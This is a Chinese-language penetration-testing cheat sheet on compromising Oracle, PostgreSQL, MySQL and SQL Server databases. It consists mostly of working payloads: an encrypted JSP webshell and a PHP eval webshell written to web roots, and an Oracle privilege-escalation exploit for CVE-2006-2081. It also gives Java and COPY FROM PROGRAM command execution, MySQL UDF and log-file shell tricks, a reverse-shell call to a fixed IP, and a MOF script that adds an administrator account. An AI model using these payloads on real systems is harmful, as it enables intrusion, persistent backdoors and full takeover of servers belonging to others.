数据库相关

以前没实操做过oracle数据库。只会mysql,,现在做一个简单的总结吧。。

oracle

写shell的条件

  1. 有DBA权限(剩下的connect权限之类的)
  2. 有网站的绝对路径

写入方法

储存过程写入

首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,在这里我们将其指向/home/oracle这一路径下。

1
create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping';

然后利用存储过程写入一句话木马

1
2
3
4
5
6
7
8
9
declare
webshell_file utl_file.file_type;
begin
webshell_file := utl_file.fopen('WEBSHELL_DIR', '1.jsp', 'W');
utl_file.put_line(webshell_file, '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>');
utl_file.fflush(webshell_file);
utl_file.fclose(webshell_file);
end;
/

之后就可以写入成功

利用数据库表空间结构写入文件

创建表空间,根据文件大小可相应修改表空间

1
create tablespace jsptest datafile 'C:\apache-tomcat-8.5.56\webapps\Shopping\1.jsp' size 100k nologging;

创建表名并设置要插入字符的长度,此处先测试js代码,设置长度为100

1
create table webshell(C varchar2(100)) tablespace jsptest;

写入要执行的代码

1
insert into WEBSHELL values(<svg/onload=alert(1>');

然后提交数据

1
commit

提交后必须同步数据至当前表空间

1
alter tablespace jsptest offline;

删除表空间

1
drop tablespace jsptest including contents;

用户提权

提升漏洞编号为CVE-2006-2081,漏洞成因由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码,此项为Oracle 10g经典提权漏洞。

  1. 先查询用户权限

    1
    select * from user_role_privs;
  2. 然后创建程序包

    1
    2
    3
    4
    5
    6
    7
    8
    Create or REPLACE
    PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
    SYS.odcienv)
    RETURN NUMBER;
    END;
    /
  3. 创建程序包体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    Create or REPLACE PACKAGE BODY HACKERPACKAGE
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
    SYS.odcienv)
    RETURN NUMBER
    IS
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO test';
    COMMIT;
    RETURN(1);
    END;
    END;
    /
  4. 然后再次查看用户权限

    1
    select * from user_role_privs;

权限提升

因为java大多是以system权限运行,所以当oracle通过java获得命令执行权限时,便相当于间接获得了system权限,因此通过java权限命令执行也可以作为Oracle的提权过程

利用java权限提权

  1. 先使用dba权限赋予用户java运行权限

    1
    grant JAVASYSPRIV to system
  2. 写入java程序包

    1
    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
  3. 获取java执行权限

    1
    select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
  4. 创建执行命令的函数select

    1
    dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function shell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
  5. 执行命令

    1
    select shell("whoami") from dual

利用储存过程提权

oracle也可以利用存储过程来进行命令执行,当用户拥有创建存储过程权限时,则可以创建一个java class,然后用创建一个存储过程来进行调用

  1. 查看权限发现用户具有create procedure权限

    1
    select * from session_privs;
  2. 创建一个java class然后用procedure包装进行调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    create or replace and resolve java source named CMD as
    import java.lang.*;
    import java.io.*;
    public class CMD
    {
    public static void execmd(String command) throws IOException
    {
    Runtime.getRuntime().exec(command);
    }
    }
    /
  3. 创建储存过程

    1
    2
    3
    create or replace procedure CMDPROC(command in varchar) as language java 
    name 'CMD.execmd(java.lang.String)';
    /
  4. 执行命令

    1
    EXEC CMDPROC()

Postgresql

写入webshell

直接利用copy函数将文件写入指定目录(需要已知绝对路径且对目录具有可操作权限)

1
uid=1;copy (select '<?php @eval("$_POST[cmd]");?>') to 'C:\Users\test\Desktop\php\phpStudy\WWW\1.php';

命令执行

高权限命令执行漏洞CVE-2019-9193
从9.3版本开始,PostgreSQL实现了导入导出数据的命令“COPY TO/FROM PROGRAM””,而此命令允许数据库超级用户以及“pg_read_server_files”组内用户执行上任意操作系统命令

利用条件

  1. postgresql数据库版本在9.3-11.2
  2. 执行数据库语句用户为超级用户或者“pg_read_server_files”组用户,pg_read_server_files角色权限可以执行copy命令,且此权限为11版本新增角色,11版本以下需要超级用户权限

实现

接下来开始命令执行步骤:
创建用来保存命令输出的表

1
2
DROP TABLE IF EXISTS rce;
CREATE TABLE rce(rce_output text);

通过“COPY FROM PROGRAM”执行系统命令

1
COPY rce FROM PROGRAM 'whoami';

查看执行结果

1
SELECT * FROM rce;

Mysql

写webshell

into oufile 写 shell
  • 知道网站绝对路径
  • 高权限数据库用户
  • load_file() 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限
1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

在sqlmap下,可以这么做

1
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

日志文件写 shell
  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

1
2
3
4
5
6
7
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%'
201031 21:15:34 40 Query select '<?php phpinfo();?>

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些。

提权

UDF提权

加载动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

sqlmap下dll文件的位置

1
sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 查看当前目录情况
pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

# 查看当前目录下的情况
ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll
寻找插件目录

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹

1
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

然后写入动态链接库

SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击

1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

创建自定义函数调用命令

1
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:

1
2
3
4
5
6
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+

这样,就是支持创建这个函数的命令执行了

1
mysql > select sys_eval('whoami');

删除自定义函数

1
mysql > drop function sys_eval;

tools工具

https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

一键 DUMP UDF 和函数,操作门槛降低了很多

mysql 不允许外连

这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:

国光师傅这里顺便打包了一份出来:蓝奏云:Navicat tunnel.zip 实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:

img

接着连接的时候设置 HTTP 通道:

img

这个时候主机地址填写 localhost 即可:

连接成功后自然就可以愉快地进行手工 UDF 提权啦

反弹端口提权

实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些

1
2
3
4
5
6
7
8
9
10
cmdshell        # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数

国光师傅找的:https://sqlsec.lanzoux.com/iEQA0ijfu6d

img

然后目标机器上导入 dll 动态链接库(这里偷懒就忽略了),然后创建自定义函数:

1
mysql > CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

然后反弹shell

1
mysql > select backshell("10.20.24.244", 2333);

MOF提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功

提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

核心payload为:

1
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

sqlserver(msssql)

需要SA权限

使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除

使用sp_oacreate进行提权|无回显

沙盒提权

参考文章

https://www.freebuf.com/articles/database/270106.html

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-26

https://www.freebuf.com/vuls/276814.html

https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/#55-%E5%88%A9%E7%94%A8-mssql-%E6%A8%A1%E6%8B%9F%E7%99%BB%E5%BD%95%E6%8F%90%E6%9D%83